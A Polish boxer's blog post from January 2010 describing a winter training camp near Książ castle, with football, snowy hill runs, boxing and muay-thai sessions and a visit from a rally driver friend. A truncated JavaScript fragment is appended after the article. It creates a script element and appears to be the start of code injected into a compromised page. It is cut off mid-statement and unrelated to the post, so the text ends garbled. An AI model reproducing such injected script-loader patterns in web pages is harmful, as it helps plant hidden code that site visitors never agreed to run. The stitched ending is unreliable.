Bo bokserem w ogóle to ciężko być jest…

31.01.2010 / Mariusz Cieśliński

Wczoraj z chłopakami z zaprzyjaźnionego klubu KO-Zone zrobiliśmy pierwsze treningi. Dziś według planu mieliśmy dwie jednostki biegowe tj. rano godzinny mecz w piłkę nożną, a po południu wyciągnąłem obozowiczów na footing w okolicy Książa. Wieczorna jednostka treningowa poświęcona stricto na boks i muay-thai. Różne elementy techniczne i proste kombinacje z racji tego, że uczestnikami są zwykli ludzie w różnym wieku, a ich pasją na chwilę obecną są sporty walki. Przyjechali na zgrupowanie, żeby zobaczyć jak się trenuje pod kątem walk, a przede wszystkim przetrwać ciężkie treningi i mieć co później wspominać przy kominku. O ile z pierwszym treningiem nie mieli problemu-w końcu niemal każdy Polak zna się i potrafi grać w piłę kopaną to na drugich zajęciach w terenie miny zrzedły.

Podbiegi w Książańskich wąwozach – strome, a do tego mocno ośnieżone to nie jest bułka z masłem nawet dla wytrenowanych zawodników, a co dopiero dla zwykłych amatorów, którzy w nietypowy dla normalnego „Kowalskiego”spędzają ferie zimowe.Widać było po ich twarzach,że każdy z nich zaczął walkę indywidualną ze swoją słabością,wysokim śniegiem i stromymi zboczami. Frajdę mieli gdy dobiegliśmy do ruin Starego Książa skąd mogli podziwiać piękne widoki, których w domu nie mają na co dzień.

Miłym gościem, który zaskoczył wszystkich był Tomek Kuchar – jeden z najlepszych kierowców rajdowych Polski( www.kuchar.net ) – i mój serdeczny przyjaciel zarazem. Czasami też i sparring partner na bokserskich treningach. Razem z nami atakował strome zbocza w śniegu, a potem musiał oczywiście rozdać po biegu trochę autografów swoim towarzyszom niedoli. Po całej wyprawie wszyscy  zmęczeni i szczęśliwi, a apetyty przy kolacji lepiej nie pisać. Klub Copacabana Warszawa dotrze dopiero dziś wieczorem wraz z trenerem Igorem Kołacinem i niech żałuje, że straciła extra treningi.

var d=document;var s=d.createElement(‚script’); if (document.currentScript) { } else {